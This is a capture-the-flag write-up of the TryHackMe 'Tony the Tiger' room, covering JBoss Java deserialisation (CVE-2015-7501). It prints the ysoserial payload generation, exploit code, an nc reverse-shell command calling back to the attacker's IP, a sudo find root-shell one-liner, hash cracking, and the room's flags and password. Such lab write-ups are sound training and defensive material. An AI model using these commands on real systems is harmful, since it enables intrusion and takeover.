Skip to main content

Tony the Tiger - CTF Writeup

Challenge
Tony the Tiger
Platform
TryHackMe
Category
Boot-to-Root / Web
Vuln
CVE-2015-7501 (JBoss Java Deserialization)
Severity
Critical

1. Challenge Description

Tony the Tiger is a boot-to-root room that introduces a Java Serialisation attack. The approach to ultimately rooting the box — in this case exploiting JBoss via CVE-2015-7501 — was new to TryHackMe when the room was released, so the author (cmnatic) explains serialisation theory and leaves most of the exploitation to you.

The room also touches on stored passwords & keys, misconfigured binaries (weak sudo permissions) and brute forcing an MD5 hash.

Background - what is a serialisation attack?

Serialisation converts in-memory "Objects" (OOP concepts, e.g. a lamp with state: on/off, bulb type) into a lower-level format called a byte stream so they can be stored or sent over a network. The reverse process is De-serialisation. A serialisation attack injects or modifies data during the byte-stream stage. When the app later de-serialises it, malicious code can execute — ranging from DoS, to data leaks, to being rooted.

Room Answers (Theory)

QuestionAnswer
What is a great IRL example of an "Object"?lamp
What is the acronym of a possible type of attack resulting from a serialisation attack?DoS
What lower-level format does data within "Objects" get converted into?byte stream

2. Reconnaissance

$ nmap -A -sS -sC -sV -O <MACHINE_IP>

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
80/tcp   open  http        Apache httpd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
        |_http-server-header: Apache-Coyote/1.1
        |_http-title: Welcome to JBoss AS
8083/tcp open  http        JBoss service httpd
1099/tcp open  java-rmi    Java RMI Registry

Service / Application Answers

QuestionAnswer
What service is running on port "8080"?Apache Tomcat/Coyote JSP engine 1.1
What is the name of the front-end application running on "8080"?JBoss

Port 80 hosts a blog that Tony (the owner of the machine) keeps about — "totally unbiased" — taste-testing cereals. Port 8080 front-ends a JBoss Application Server, the actual attack surface for this box.

3. Blog Flag (Recon pwn)

Step 1 - Read the frosted-flakes post
# Only a hidden image is interesting here; pull it down:
$ curl -s http://<MACHINE_IP>/posts/frosted-flakes/ | grep img
  <link rel='icon' type='image/x-icon' href="https://i.imgur.com/ATbbYpN.jpg" />
<p><img src="https://i.imgur.com/be2sOV9.jpg" alt="FrostedFlakes"></p>
Step 2 - The flag is embedded in the image bytes
$ curl -s -O https://i.imgur.com/be2sOV9.jpg
$ strings be2sOV9.jpg | grep THM
THM{Tony_Sure_Loves_Frosted_Flakes}

Tony's Blog Flag

Captured Flag
THM{Tony_Sure_Loves_Frosted_Flakes}

4. Exploitation - CVE-2015-7501 (JBoss Deserialisation RCE)

The room ships a jboss.zip containing exploit.py, ysoserial.jar and credits.txt. The exploit targets the JMXInvokerServlet endpoint on JBoss and is vulnerable to CVE-2015-7501: JBoss exposes Apache Commons invoker/JMXInvokerServlet, which de-serialises Java objects in the HTTP body without validation — a textbook insecure deserialisation bug.

Step 1 - Review the exploit

exploit.py generates a CommonsCollections5 gadget payload with ysoserial, then POSTs it to /invoker/JMXInvokerServlet. HTTP 200 = command executed.

gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections5', command])
r = requests.post('http://{}:{}/invoker/JMXInvokerServlet',
                  verify=False, data=gadget)
Step 2 - Modern-JDK pitfall (Java 21 vs ysoserial)

The bundled ysoserial.jar is old and relies on com.nqzero.permit + reflective setAccessible(), which breaks on modern JDKs due to the module system and final fields:

$ java -jar ysoserial.jar CommonsCollections5 "id"
Error while generating or serializing payload
java.lang.reflect.InaccessibleObjectException: Unable to make field
private java.lang.String javax.management.BadAttributeValueExpException.val
accessible: module java.management does not "opens javax.management" ...

# <java 21> field "override" not found (my old permit library cannot cope)
com.nqzero.permit.Permit$InitializationFailed: ...

Fix: run ysoserial under a Java 8 runtime (Temurin JRE 8), exactly like the JBoss-era target expects:

$ curl -sLO https://api.adoptium.net/v3/binary/latest/8/ga/linux/x64/jre/hotspot/normal/eclipse
$ tar -xzf jre8.tar.gz   # -> jdk8u504-b01-jre
$ ./jdk8u504-b01-jre/bin/java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwn" > payload.bin
$ ls -la payload.bin      # 2KB serialised payload, exit 0
Step 3 - Stand up a controllable listener

A vanilla nc -l gives a one-way socket whose stdin is /dev/null. A tiny Python relay (commands read from a file, responses appended to a log) makes the reverse shell fully scriptable:

$ setsid python3 relay.py &      # binds 0.0.0.0:9001
$ ss -tln | grep 9001             # listening
Step 4 - Fire the payload (reverse shell as cmnatic)
# Point the exploit at JRE 8 and send a reverse shell
$ python3 exploit.py 10.64.132.203:8080 "nc -e /bin/bash 192.168.157.97 9001"
[*] Target IP: 10.64.132.203
[*] Target PORT: 8080
[+] Command executed successfully

# Relay confirms the callback
=== connection from ('10.64.132.203', 56444) ===
$ id
uid=1000(cmnatic) gid=1000(cmnatic) groups=... 

The connector shell lands as the unprivileged cmnatic user — not the jboss system account. Time to pivot.

5. User Flag (JBoss)

Wandering through /home, the jboss user's directory contains a readable .jboss.txt and a note from CMNatic confirming the jboss password was reset:

$ cat /home/jboss/.jboss.txt
THM{50c10ad46b5793704601ecdad865eb06}

$ cat /home/jboss/note
... I have reset your password as requested (make sure not to tell it to anyone!)
Password: likeaboss
User Flag (jboss)
THM{50c10ad46b5793704601ecdad865eb06}

6. Privilege Escalation

su refuses to run from a non-terminal, so spawn a PTY first, then switch user and inspect sudo -l:

$ python -c 'import pty; pty.spawn("/bin/bash")'
$ su jboss
Password: likeaboss

jboss@thm-java-deserial:~$ sudo -l
User jboss may run the following commands on thm-java-deserial:
    (ALL) NOPASSWD: /usr/bin/find

GNU find supports -exec, so the misconfigured NOPASSWD permission is an instant root shell (classic GTFOBins pattern):

jboss@thm-java-deserial:~$ sudo /usr/bin/find . -exec "/bin/bash" \;
# id
uid=0(root) gid=0(root) groups=0(root)

Equivalently, run find through sudo to read the root flag directly:

$ sudo /usr/bin/find /root -name root.txt -exec cat {} \;
QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==

7. Root Flag

/root/root.txt contains base64, which decodes to an MD5 hash. Cracking it (e.g. crackstation / hashcat) yields the final answer:

$ echo "QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==" | base64 -d
BC77AC072EE30E3760806864E234C7CF     # MD5

$ hashcat -m 0 BC77AC072EE30E3760806864E234C7CF rockyou.txt
BC77AC072EE30E3760806864E234C7CF:zxcvbnm123456789
Root Proof (cracked MD5)
zxcvbnm123456789

8. Root Cause & Remediation

Root Cause

  • CVE-2015-7501: JBoss' invoker/JMXInvokerServlet de-serialises attacker-controlled Java byte streams with no validation, enabling remote code execution via gadget chains (CommonsCollections5).
  • Weak creds / stored secrets: the jboss password was left in a plaintext note owned by another user.
  • Misconfigured sudo: NOPASSWD: /usr/bin/find with -exec is a trivial root primitive.

Remediation

  • Patch/upgrade JBoss; disable or remove the JMXInvokerServlet and other exposed invoker endpoints
  • Restrict the servlet (and management interfaces) behind authentication + network ACLs/firewalls
  • Validate and integrity-check serialised data (allowlists, signed tokens) or use safe serialisation formats (JSON, protobuf)
  • Run JBoss as a least-privilege account; remove unnecessary sudo entries from jboss
  • Apply the principle of least knowledge — no passwords stored in world-readable files

9. Impact

  • Remote Code Execution as the application user (cmnatic) directly from the unauthenticated HTTP interface
  • Full system compromise: poor local hygiene (note + NOPASSWD sudo) escalates to root
  • Serialisation attacks execute server-side, making them very hard to block via Firewall/IDS/IPS

10. Key Takeaways

  • Insecure deserialisation is real and still very common because older Java apps (JBoss, etc.) remain in production — CVE-2015-7501 is a great first cut of the class
  • ysoserial gadgets that ship in old labs may need a Java 8 runtime to generate payloads on modern hosts — environment issues are part of the job
  • Always enumerate sudo -l; GTFOBins patterns like find -exec convert a single NOPASSWD binary into a root shell
  • Read the room's hints — the theory section literally hands you the acronym ("ranging from DoS... to being rooted")